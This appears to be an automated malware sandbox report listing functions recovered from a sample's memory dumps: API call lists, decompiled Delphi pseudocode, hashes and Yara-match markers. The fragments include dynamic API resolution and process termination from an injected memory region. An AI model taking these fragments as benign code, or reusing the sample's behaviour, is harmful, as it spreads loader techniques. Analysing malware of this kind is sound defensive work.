GetProcAddress.KERNEL32(00000000,65474349), ref: 02355788
GetProcAddress.KERNEL32(00000000,65534349), ref: 0235579E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AddressProc$AllocateHeapLibraryLoad
String ID:
API String ID: 2486251641-0
Opcode ID: 6180e465641c75d10e171bbc91496ff1321783820d2ec6e5df9d088c010d6d82
Instruction ID: d7a2590a45a8737a335cbbd3c5e3a699030898a16d328462fbe0e87fa4649e1b
Opcode Fuzzy Hash: 6180e465641c75d10e171bbc91496ff1321783820d2ec6e5df9d088c010d6d82
Instruction Fuzzy Hash: 34116DF66002579FA720DB69DC88E6673EDEB4478874688A6ED09C7204E731E906CF60

Uniqueness

Uniqueness Score: -1.00%

Function 023570CA, Relevance: 9.1, APIs: 6, Instructions: 63stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000E39,00000000,?), ref: 023570F2
_strupr.NTDLL ref: 02357129
lstrlen.KERNEL32(00000000), ref: 02357131
TerminateProcess.KERNEL32(00000000,00000000), ref: 02357169
CloseHandle.KERNEL32(00000000), ref: 02357170
GetLastError.KERNEL32 ref: 02357178

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Process$CloseErrorHandleLastOpenTerminate_struprlstrlen
String ID:
API String ID: 110452925-0
Opcode ID: f47455818d95b738b696c6208491cc83e3dc2613e8193f8a413b00e7ce2b9971
Instruction ID: 18892bed0147375ab7e9d00053a056f04b4968eed0dd813478cf3d1cbf73b1a7
Opcode Fuzzy Hash: f47455818d95b738b696c6208491cc83e3dc2613e8193f8a413b00e7ce2b9971
Instruction Fuzzy Hash: 011191F2940214ABDB21AB70DD8CDAEB7BDEB88B55F008851FD0AD2244DB7499568F60

Uniqueness

Uniqueness Score: -1.00%

Function 02348FC3, Relevance: 9.1, APIs: 6, Instructions: 61stringthreadtimeCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FD5

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FEE
GetCurrentThreadId.KERNEL32(?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02348FFB
GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02349007
GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000), ref: 02349015
lstrcpy.KERNEL32(00000000), ref: 02349037

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Temp$FilePathTime$AllocateCurrentHeapNameSystemThreadlstrcpy
String ID:
API String ID: 1175089793-0
Opcode ID: 66e1b2b578a125ec93d9e2b3371442a811f220dbc76e8e3fe8460e5a6b3411e4
Instruction ID: 59302aa04ed334538f680ade9cc1861533f87742234460a4e073ce731554bcf8
Opcode Fuzzy Hash: 66e1b2b578a125ec93d9e2b3371442a811f220dbc76e8e3fe8460e5a6b3411e4
Instruction Fuzzy Hash: 3601C472E00255AB9B215BA59C4CE6B7BFCEBC5B44B0544A9F905D3100DF34F8058A70

Uniqueness

Uniqueness Score: -1.00%

Function 003A1280, Relevance: 9.1, APIs: 6, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003A1280(void* __eax, signed int __ecx) {
				char _v1036;
				signed int _v1038;
				struct tagRGBQUAD _v1048;
				short _v1066;
				void* _t20;
				struct HDC__* _t25;
				void* _t28;
				void* _t31;
				struct HPALETTE__* _t33;
				LOGPALETTE* _t34;

				_t31 = __eax;
				_t33 = 0;
				_t34->palVersion = 0x300;
				if(__eax == 0) {
					_v1038 = __ecx;
					E003828C8(_t28, __ecx << 2,  &_v1036);
				} else {
					_t25 = CreateCompatibleDC(0);
					_t20 = SelectObject(_t25, _t31);
					_v1066 = GetDIBColorTable(_t25, 0, 0x100,  &_v1048);
					SelectObject(_t25, _t20);
					DeleteDC(_t25);
				}
				if(_v1038 != 0) {
					if(_v1038 != 0x10 || E003A11E8(_t34) == 0) {
						E003A1078( &_v1036, _v1038 & 0x0000ffff);
					}
					_t33 = CreatePalette(_t34);
				}
				return _t33;
			}

0x003a1289
0x003a128b
0x003a128d
0x003a1295
0x003a12cf
0x003a12dd
0x003a1297
0x003a129e
0x003a12a2
0x003a12bb
0x003a12c2
0x003a12c8
0x003a12c8
0x003a12e8
0x003a12f0
0x003a1306
0x003a1306
0x003a1313
0x003a1313
0x003a1320

APIs

CreateCompatibleDC.GDI32(00000000), ref: 003A1299
SelectObject.GDI32(00000000,00000000), ref: 003A12A2
GetDIBColorTable.GDI32(00000000,00000000,00000100,?), ref: 003A12B6
SelectObject.GDI32(00000000,00000000), ref: 003A12C2
DeleteDC.GDI32(00000000), ref: 003A12C8
CreatePalette.GDI32 ref: 003A130E

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateObjectSelect$ColorCompatibleDeletePaletteTable
String ID:
API String ID: 2515223848-0
Opcode ID: 20509203f95c08d9ee5b79fa36099e83f7e597b26f086f5fcc47de62cdeca8b4
Instruction ID: 9bf0a92d62ee8aabb7a254d3558192ba7b5cee32fe55d54cde56d3e6d889131b
Opcode Fuzzy Hash: 20509203f95c08d9ee5b79fa36099e83f7e597b26f086f5fcc47de62cdeca8b4
Instruction Fuzzy Hash: 8601B16520431062EB22B7698C43B6F72FCDFC2750F11C81DF5898F2D2E6B8C8488362

Uniqueness

Uniqueness Score: -1.00%

Function 003A0970, Relevance: 9.0, APIs: 6, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003A0970(void* __eax) {
				void* _t36;

				_t36 = __eax;
				UnrealizeObject(E003A0118( *((intOrPtr*)(__eax + 0x14))));
				SelectObject( *(_t36 + 4), E003A0118( *((intOrPtr*)(_t36 + 0x14))));
				if(E003A01F8( *((intOrPtr*)(_t36 + 0x14))) != 0) {
					SetBkColor( *(_t36 + 4),  !(E0039F458(E003A00DC( *((intOrPtr*)(_t36 + 0x14))))));
					return SetBkMode( *(_t36 + 4), 1);
				} else {
					SetBkColor( *(_t36 + 4), E0039F458(E003A00DC( *((intOrPtr*)(_t36 + 0x14)))));
					return SetBkMode( *(_t36 + 4), 2);
				}
			}

0x003a0971
0x003a097c
0x003a098e
0x003a099d
0x003a09d7
0x003a09e8
0x003a099f
0x003a09b1
0x003a09c2
0x003a09c2

APIs

Part of subcall function 003A0118: CreateBrushIndirect.GDI32(?), ref: 003A01C2

UnrealizeObject.GDI32(00000000), ref: 003A097C
SelectObject.GDI32(?,00000000), ref: 003A098E
SetBkColor.GDI32(?,00000000), ref: 003A09B1
SetBkMode.GDI32(?,00000002), ref: 003A09BC
SetBkColor.GDI32(?,00000000), ref: 003A09D7
SetBkMode.GDI32(?,00000001), ref: 003A09E2

Part of subcall function 0039F458: GetSysColor.USER32 ref: 0039F462

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: 27eb7fb395c115a964d862ef949c61419dc165c047d9ea87ad1212da44eb49ff
Instruction ID: 9cb6464439d8a3642e3c3f1e3b2020fdc2ee9eb7d2f78db36627955412500fed
Opcode Fuzzy Hash: 27eb7fb395c115a964d862ef949c61419dc165c047d9ea87ad1212da44eb49ff
Instruction Fuzzy Hash: E7F047B5A402009FDF4AFFB9DAC7E5B779CAF093017058494B908DF657CA65D8108B31

Uniqueness

Uniqueness Score: -1.00%

Function 00385D61, Relevance: 9.0, APIs: 6, Instructions: 41
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00385D61(void* __eax, void* __ebx, void* __ecx, intOrPtr* __edi) {
				signed int _t6;
				signed int _t7;
				long _t10;
				void* _t14;

				_t14 = __ebx;
				 *__edi =  *__edi + __ecx;
				 *((intOrPtr*)(__eax - 0x3db5bc)) =  *((intOrPtr*)(__eax - 0x3db5bc)) + __eax - 0x3db5bc;
				 *0x3d9008 = 2;
				 *0x3db014 = 0x38120c;
				 *0x3db018 = 0x381214;
				 *0x3db04e = 2;
				 *0x3db000 = E00384CAC;
				if(E00382F3C() != 0) {
					_t3 = E00382F6C();
				}
				E00383030(_t3);
				 *0x3db054 = 0xd7b0;
				 *0x3db220 = 0xd7b0;
				 *0x3db3ec = 0xd7b0;
				 *0x3db040 = GetCommandLineA();
				_t6 = E0038131C();
				 *0x3db03c = _t6;
				L00381314();
				_t7 = _t6 & 0x80000000;
				if(_t7 == 0x80000000) {
					 *0x3db5c0 = E00385C98(GetThreadLocale(), _t14, __eflags);
				} else {
					L00381314();
					if((_t7 & 0x000000ff) <= 4) {
						 *0x3db5c0 = E00385C98(GetThreadLocale(), _t14, __eflags);
					} else {
						 *0x3db5c0 = 3;
					}
				}
				_t10 = GetCurrentThreadId();
				 *0x3db034 = _t10;
				return _t10;
			}

0x00385d61
0x00385d66
0x00385d6b
0x00385d6d
0x00385d74
0x00385d7e
0x00385d88
0x00385d8f
0x00385da0
0x00385da2
0x00385da2
0x00385da7
0x00385dac
0x00385db5
0x00385dbe
0x00385dcc
0x00385dd1
0x00385dd6
0x00385ddb
0x00385de0
0x00385dea
0x00385e23
0x00385dec
0x00385dec
0x00385dfa
0x00385e12
0x00385dfc
0x00385dfc
0x00385dfc
0x00385dfa
0x00385e28
0x00385e2d
0x00385e32

APIs

Part of subcall function 00382F3C: GetKeyboardType.USER32 ref: 00382F41
Part of subcall function 00382F3C: GetKeyboardType.USER32 ref: 00382F4D

GetCommandLineA.KERNEL32 ref: 00385DC7
734E569E.KERNEL32 ref: 00385DDB
734E569E.KERNEL32 ref: 00385DEC
GetCurrentThreadId.KERNEL32 ref: 00385E28

Part of subcall function 00382F6C: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00382F8E
Part of subcall function 00382F6C: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00382FDD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00382FC1
Part of subcall function 00382F6C: RegCloseKey.ADVAPI32(?,00382FE4,00000000,?,00000004,00000000,00382FDD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00382FD7

GetThreadLocale.KERNEL32 ref: 00385E08

Part of subcall function 00385C98: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00385CFE), ref: 00385CBE

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: E569KeyboardLocaleThreadType$CloseCommandCurrentInfoLineOpenQueryValue
String ID:
API String ID: 2578515257-0
Opcode ID: 0b9f18e8489d71a43b987b5410cca99595bdda7bdd495543a335a55b6112c3fc
Instruction ID: 6272c9e4f235f415c8d1645eb5c75750f698035a718efca1c4ebc6235af952be
Opcode Fuzzy Hash: 0b9f18e8489d71a43b987b5410cca99595bdda7bdd495543a335a55b6112c3fc
Instruction Fuzzy Hash: 790140B9816745C9D753BBB0BC0A3897BADBB02300F5609DBE150CF222EB7801098B66

Uniqueness

Uniqueness Score: -1.00%

Function 02351CD1, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 02351D2C
SetLastError.KERNEL32(00000000,?,?,?), ref: 02351D80

Strings

vids, xrefs: 02351D8B

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorLastmemset
String ID: vids
API String ID: 3276359510-3767230166
Opcode ID: 1bf8d15d096519e693f0679dad6d6be985b3189eaaababb3289a4eba0f9214ca
Instruction ID: 69c9cab1997da60fea9f60fc2334ed9b1b3750040c22a64587d25f5bb9b3b8fd
Opcode Fuzzy Hash: 1bf8d15d096519e693f0679dad6d6be985b3189eaaababb3289a4eba0f9214ca
Instruction Fuzzy Hash: E48108B1D102299FCF20DFA4C984EADBBBAEF48710F10856AF859E7250D7749945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 003B8B48, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 125
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E003B8B48(void* __ecx, char __edx) {
				char _v5;
				char _v261;
				void* __ebx;
				void* __ebp;
				intOrPtr _t39;
				intOrPtr _t42;
				intOrPtr _t43;
				struct HINSTANCE__** _t53;
				intOrPtr _t58;
				struct HINSTANCE__** _t60;
				void* _t67;
				char* _t69;
				char* _t75;
				intOrPtr _t81;
				intOrPtr* _t88;
				intOrPtr* _t89;
				intOrPtr _t90;
				void* _t91;
				char _t93;
				void* _t104;
				void* _t105;

				_t93 = __edx;
				_t91 = __ecx;
				if(__edx != 0) {
					_t105 = _t105 + 0xfffffff0;
					_t39 = E00383408(_t39, _t104);
				}
				_v5 = _t93;
				_t90 = _t39;
				E0039C8D4(_t91, 0);
				_t42 =  *0x3da028; // 0x3d93e0
				if( *((short*)(_t42 + 2)) == 0) {
					_t89 =  *0x3da028; // 0x3d93e0
					 *((intOrPtr*)(_t89 + 4)) = _t90;
					 *_t89 = 0x3ba09c;
				}
				_t43 =  *0x3da0d0; // 0x3d93e8
				if( *((short*)(_t43 + 2)) == 0) {
					_t88 =  *0x3da0d0; // 0x3d93e8
					 *((intOrPtr*)(_t88 + 4)) = _t90;
					 *_t88 = E003BA294;
				}
				 *((char*)(_t90 + 0x34)) = 0;
				 *((intOrPtr*)(_t90 + 0x90)) = E003830CC(1);
				 *((intOrPtr*)(_t90 + 0xa8)) = E003830CC(1);
				 *((intOrPtr*)(_t90 + 0x60)) = 0;
				 *((intOrPtr*)(_t90 + 0x84)) = 0;
				 *((intOrPtr*)(_t90 + 0x5c)) = 0xff000018;
				 *((intOrPtr*)(_t90 + 0x78)) = 0x1f4;
				 *((char*)(_t90 + 0x7c)) = 1;
				 *((intOrPtr*)(_t90 + 0x80)) = 0;
				 *((intOrPtr*)(_t90 + 0x74)) = 0x9c4;
				 *((char*)(_t90 + 0x88)) = 0;
				 *((char*)(_t90 + 0x9d)) = 1;
				 *((char*)(_t90 + 0xb4)) = 1;
				_t103 = E003A472C(1);
				 *((intOrPtr*)(_t90 + 0x98)) = _t52;
				_t53 =  *0x3d9f44; // 0x3db030
				E003A4AFC(_t103, LoadIconA( *_t53, "MAINICON"));
				_t58 =  *((intOrPtr*)(_t90 + 0x98));
				 *((intOrPtr*)(_t58 + 0x14)) = _t90;
				 *((intOrPtr*)(_t58 + 0x10)) = 0x3ba834;
				_t60 =  *0x3d9f44; // 0x3db030
				GetModuleFileNameA( *_t60,  &_v261, 0x100);
				OemToCharA( &_v261,  &_v261);
				_t67 = E0038C348(0x5c);
				if(_t67 != 0) {
					_t27 = _t67 + 1; // 0x1
					E00388678( &_v261, _t27);
				}
				_t69 = E0038C370( &_v261, 0x2e);
				if(_t69 != 0) {
					 *_t69 = 0;
				}
				CharLowerA( &(( &_v261)[1]));
				E0038412C(_t90 + 0x8c, 0x100,  &_v261);
				_t75 =  *0x3d9e34; // 0x3db038
				if( *_t75 == 0) {
					E003B8E50(_t90, _t90, 0x100);
				}
				 *((char*)(_t90 + 0x59)) = 1;
				 *((char*)(_t90 + 0x5a)) = 1;
				 *((char*)(_t90 + 0x5b)) = 1;
				 *((char*)(_t90 + 0x9e)) = 1;
				 *((intOrPtr*)(_t90 + 0xa0)) = 0;
				E003BAA10(_t90, 0x100);
				E003BB3D4(_t90);
				_t81 = _t90;
				if(_v5 != 0) {
					E00383460(_t81);
					_pop( *[fs:0x0]);
				}
				return _t90;
			}

0x003b8b48
0x003b8b48
0x003b8b55
0x003b8b57
0x003b8b5a
0x003b8b5a
0x003b8b5f
0x003b8b62
0x003b8b68
0x003b8b6d
0x003b8b77
0x003b8b79
0x003b8b7e
0x003b8b81
0x003b8b81
0x003b8b87
0x003b8b91
0x003b8b93
0x003b8b98
0x003b8b9b
0x003b8b9b
0x003b8ba1
0x003b8bb1
0x003b8bc3
0x003b8bcb
0x003b8bd0
0x003b8bd6
0x003b8bdd
0x003b8be4
0x003b8bea
0x003b8bf0
0x003b8bf7
0x003b8bfe
0x003b8c05
0x003b8c18
0x003b8c1a
0x003b8c25
0x003b8c36
0x003b8c3b
0x003b8c41
0x003b8c44
0x003b8c57
0x003b8c5f
0x003b8c72
0x003b8c7f
0x003b8c86
0x003b8c88
0x003b8c91
0x003b8c91
0x003b8c9e
0x003b8ca5
0x003b8ca7
0x003b8ca7
0x003b8cb2
0x003b8cc8
0x003b8ccd
0x003b8cd5
0x003b8cd9
0x003b8cd9
0x003b8cde
0x003b8ce2
0x003b8ce6
0x003b8cea
0x003b8cf3
0x003b8cfb
0x003b8d02
0x003b8d07
0x003b8d0d
0x003b8d0f
0x003b8d14
0x003b8d1b
0x003b8d25

APIs

LoadIconA.USER32 ref: 003B8C2D
GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000,MAINICON), ref: 003B8C5F
OemToCharA.USER32 ref: 003B8C72
CharLowerA.USER32 ref: 003B8CB2

Strings

MAINICON, xrefs: 003B8C20

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$FileIconLoadLowerModuleName
String ID: MAINICON
API String ID: 3935243913-2283262055
Opcode ID: 8c9d665a91526966e9e67c02c4821a666fdeffd6879d0851158701f2943133ce
Instruction ID: 4dbfb2d3ff74d57c34878c9de269b69b71a7a2900aacec8a5dab3194c4418118
Opcode Fuzzy Hash: 8c9d665a91526966e9e67c02c4821a666fdeffd6879d0851158701f2943133ce
Instruction Fuzzy Hash: 37511870A052849EDB42EF38D885BC57BE8AB15308F0485F5E948CF257DBB69988CB61

Uniqueness

Uniqueness Score: -1.00%

Function 023530A3, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 117stringCOMMON

Download Yara Rule

APIs

StrRChrA.SHLWAPI(?,00000000,00000023), ref: 023530BD
StrChrA.SHLWAPI(?,0000005C), ref: 023530E4
lstrcpyn.KERNEL32(00000005,?,00000001,00000001), ref: 0235310A
lstrcpy.KERNEL32(?,Unknown), ref: 023531A7

Strings

Unknown, xrefs: 0235319B

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrcpylstrcpyn
String ID: Unknown
API String ID: 4154805583-1654365787
Opcode ID: 6ca2d0c5f75af24bdb5538ed727093372cb962bbe47d00a57ad70c10c018d263
Instruction ID: 8e79b393ea49d6b450f1aec672a97d49f2429209a6a10224c51cc619e1175955
Opcode Fuzzy Hash: 6ca2d0c5f75af24bdb5538ed727093372cb962bbe47d00a57ad70c10c018d263
Instruction Fuzzy Hash: 75414FB2900219BEDB11ABA4CC48EEE7BBDEF09394F0585A6E905E3140D7349B15CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02346857, Relevance: 8.9, APIs: 7, Instructions: 106stringCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,0234F264,00000000,?,?,?,0234F264,?,?,?,?,?), ref: 02346895
lstrlen.KERNEL32(0234F264,?,?,?,0234F264,?,?,?,?,?,?,?,?,?,?,?), ref: 023468A7
memcpy.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0234691B
lstrlen.KERNEL32(0234F264,00000000,00000000,?,?,?,0234F264,?,?,?,?,?), ref: 02346930
lstrlen.KERNEL32(03F8458B,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02346949
memcpy.NTDLL(?,03F8458B,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02346952
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02346960

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlenmemcpy$FreeLocal
String ID:
API String ID: 1123625124-0
Opcode ID: daac7f427103555fd984735f106b17438fc2dffa695a0f87871557ad0bd2ce34
Instruction ID: f230adbefd95571defe0cd37eba561c1996a73fd1f8021cf9fd38d53ce436a50
Opcode Fuzzy Hash: daac7f427103555fd984735f106b17438fc2dffa695a0f87871557ad0bd2ce34
Instruction Fuzzy Hash: C631F6B280025AAFDF149F65DC469EB3FADEF142A4F158465FC08A6210E771DE608FE1

Uniqueness

Uniqueness Score: -1.00%

Function 0038B368, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0038B368(intOrPtr* __eax, intOrPtr __ecx, void* __edx, void* __fp0, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v273;
				char _v534;
				char _v790;
				struct _MEMORY_BASIC_INFORMATION _v820;
				char _v824;
				intOrPtr _v828;
				char _v832;
				intOrPtr _v836;
				char _v840;
				intOrPtr _v844;
				char _v848;
				char* _v852;
				char _v856;
				char _v860;
				char _v1116;
				void* __edi;
				struct HINSTANCE__* _t40;
				intOrPtr _t51;
				struct HINSTANCE__* _t53;
				void* _t69;
				void* _t73;
				intOrPtr _t74;
				intOrPtr _t83;
				intOrPtr _t86;
				intOrPtr* _t87;
				void* _t93;

				_t93 = __fp0;
				_v8 = __ecx;
				_t73 = __edx;
				_t87 = __eax;
				VirtualQuery(__edx,  &_v820, 0x1c);
				if(_v820.State != 0x1000 || GetModuleFileNameA(_v820.AllocationBase,  &_v534, 0x105) == 0) {
					_t40 =  *0x3db668; // 0x380000
					GetModuleFileNameA(_t40,  &_v534, 0x105);
					_v12 = E0038B35C(_t73);
				} else {
					_v12 = _t73 - _v820.AllocationBase;
				}
				E003886A0( &_v273, 0x104, E0038C348(0x5c) + 1);
				_t74 = 0x38b4e8;
				_t86 = 0x38b4e8;
				_t83 =  *0x386fe8; // 0x387034
				if(E00383288(_t87, _t83) != 0) {
					_t74 = E0038437C( *((intOrPtr*)(_t87 + 4)));
					_t69 = E0038863C(_t74, 0x38b4e8);
					if(_t69 != 0 &&  *((char*)(_t74 + _t69 - 1)) != 0x2e) {
						_t86 = 0x38b4ec;
					}
				}
				_t51 =  *0x3da1f8; // 0x386d98
				_t16 = _t51 + 4; // 0xffe8
				_t53 =  *0x3db668; // 0x380000
				LoadStringA(E003851AC(_t53),  *_t16,  &_v790, 0x100);
				E0038304C( *_t87,  &_v1116);
				_v860 =  &_v1116;
				_v856 = 4;
				_v852 =  &_v273;
				_v848 = 6;
				_v844 = _v12;
				_v840 = 5;
				_v836 = _t74;
				_v832 = 6;
				_v828 = _t86;
				_v824 = 6;
				E00388CC4(_v8,  &_v790, _a4, _t93, 4,  &_v860);
				return E0038863C(_v8, _t86);
			}

0x0038b368
0x0038b374
0x0038b377
0x0038b379
0x0038b385
0x0038b394
0x0038b3be
0x0038b3c4
0x0038b3d0
0x0038b3d5
0x0038b3db
0x0038b3db
0x0038b3f9
0x0038b3fe
0x0038b403
0x0038b40a
0x0038b417
0x0038b421
0x0038b425
0x0038b42c
0x0038b435
0x0038b435
0x0038b42c
0x0038b446
0x0038b44b
0x0038b44f
0x0038b45a
0x0038b467
0x0038b472
0x0038b478
0x0038b485
0x0038b48b
0x0038b495
0x0038b49b
0x0038b4a2
0x0038b4a8
0x0038b4af
0x0038b4b5
0x0038b4d1
0x0038b4e4

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0038B385
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0038B3A9
GetModuleFileNameA.KERNEL32(00380000,?,00000105), ref: 0038B3C4
LoadStringA.USER32 ref: 0038B45A

Strings

4p8, xrefs: 0038B40A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID: 4p8
API String ID: 3990497365-3676198198
Opcode ID: 48b20700802931b567bdc870f9ec191e8165d853d61153d346437fe912760828
Instruction ID: 52348544bdc04776fb5f7d24947e2f2b7a82bb632e56be49d69a249dcd29ecd9
Opcode Fuzzy Hash: 48b20700802931b567bdc870f9ec191e8165d853d61153d346437fe912760828
Instruction Fuzzy Hash: 6B412F74A403599BDB22EB68DC85BDEB7FC9B48300F4440E5A548EB252D7B49F84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0038B366, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0038B366(intOrPtr* __eax, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v273;
				char _v534;
				char _v790;
				struct _MEMORY_BASIC_INFORMATION _v820;
				char _v824;
				intOrPtr _v828;
				char _v832;
				intOrPtr _v836;
				char _v840;
				intOrPtr _v844;
				char _v848;
				char* _v852;
				char _v856;
				char _v860;
				char _v1116;
				void* __edi;
				struct HINSTANCE__* _t40;
				intOrPtr _t51;
				struct HINSTANCE__* _t53;
				void* _t69;
				void* _t74;
				intOrPtr _t75;
				intOrPtr _t85;
				intOrPtr _t89;
				intOrPtr* _t92;
				void* _t105;

				_v8 = __ecx;
				_t74 = __edx;
				_t92 = __eax;
				VirtualQuery(__edx,  &_v820, 0x1c);
				if(_v820.State != 0x1000 || GetModuleFileNameA(_v820.AllocationBase,  &_v534, 0x105) == 0) {
					_t40 =  *0x3db668; // 0x380000
					GetModuleFileNameA(_t40,  &_v534, 0x105);
					_v12 = E0038B35C(_t74);
				} else {
					_v12 = _t74 - _v820.AllocationBase;
				}
				E003886A0( &_v273, 0x104, E0038C348(0x5c) + 1);
				_t75 = 0x38b4e8;
				_t89 = 0x38b4e8;
				_t85 =  *0x386fe8; // 0x387034
				if(E00383288(_t92, _t85) != 0) {
					_t75 = E0038437C( *((intOrPtr*)(_t92 + 4)));
					_t69 = E0038863C(_t75, 0x38b4e8);
					if(_t69 != 0 &&  *((char*)(_t75 + _t69 - 1)) != 0x2e) {
						_t89 = 0x38b4ec;
					}
				}
				_t51 =  *0x3da1f8; // 0x386d98
				_t16 = _t51 + 4; // 0xffe8
				_t53 =  *0x3db668; // 0x380000
				LoadStringA(E003851AC(_t53),  *_t16,  &_v790, 0x100);
				E0038304C( *_t92,  &_v1116);
				_v860 =  &_v1116;
				_v856 = 4;
				_v852 =  &_v273;
				_v848 = 6;
				_v844 = _v12;
				_v840 = 5;
				_v836 = _t75;
				_v832 = 6;
				_v828 = _t89;
				_v824 = 6;
				E00388CC4(_v8,  &_v790, _a4, _t105, 4,  &_v860);
				return E0038863C(_v8, _t89);
			}

0x0038b374
0x0038b377
0x0038b379
0x0038b385
0x0038b394
0x0038b3be
0x0038b3c4
0x0038b3d0
0x0038b3d5
0x0038b3db
0x0038b3db
0x0038b3f9
0x0038b3fe
0x0038b403
0x0038b40a
0x0038b417
0x0038b421
0x0038b425
0x0038b42c
0x0038b435
0x0038b435
0x0038b42c
0x0038b446
0x0038b44b
0x0038b44f
0x0038b45a
0x0038b467
0x0038b472
0x0038b478
0x0038b485
0x0038b48b
0x0038b495
0x0038b49b
0x0038b4a2
0x0038b4a8
0x0038b4af
0x0038b4b5
0x0038b4d1
0x0038b4e4

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0038B385
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0038B3A9
GetModuleFileNameA.KERNEL32(00380000,?,00000105), ref: 0038B3C4
LoadStringA.USER32 ref: 0038B45A

Strings

